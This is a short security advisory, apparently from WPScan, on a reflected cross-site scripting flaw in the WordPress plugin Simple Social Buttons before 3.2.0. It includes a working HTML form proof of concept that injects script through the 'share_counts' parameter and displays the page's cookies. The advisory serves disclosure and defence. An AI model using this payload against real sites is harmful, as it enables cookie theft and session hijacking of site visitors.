Simple Social Buttons < 3.2.0 – Reflected Cross-Site Scripting

Description

Simple Social Buttons version 3.1.1 has a reflected Cross-Site Scripting vulnerability in the POST parameter "share_counts". Both unauthenticated and authenticated attacks are possible

Edit (WPScanTeam)
The original report stated the issue as being fixed in 3.2.0, however a CSRF nonce has been added instead of sanitisation/validation, so could still be used to attack unauthenticated users as they will all have the same nonce. A separate advisory has been created for it.

Proof of Concept

<!DOCTYPE html>
<html>
<head>
<title>xss poc</title>
</head>
<body>
<form method="post" action="https://example.com/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="ssb_facebook_shares_update" />
<input type="text" name="share_counts" value="-17&lt;script&gt;alert(document.location);alert(document.cookie);&lt;/script&gt;" />
<input type="text" name="post_id" value="1337" />
<input type="submit" value="Submit!" />
</form>
</body>
</html>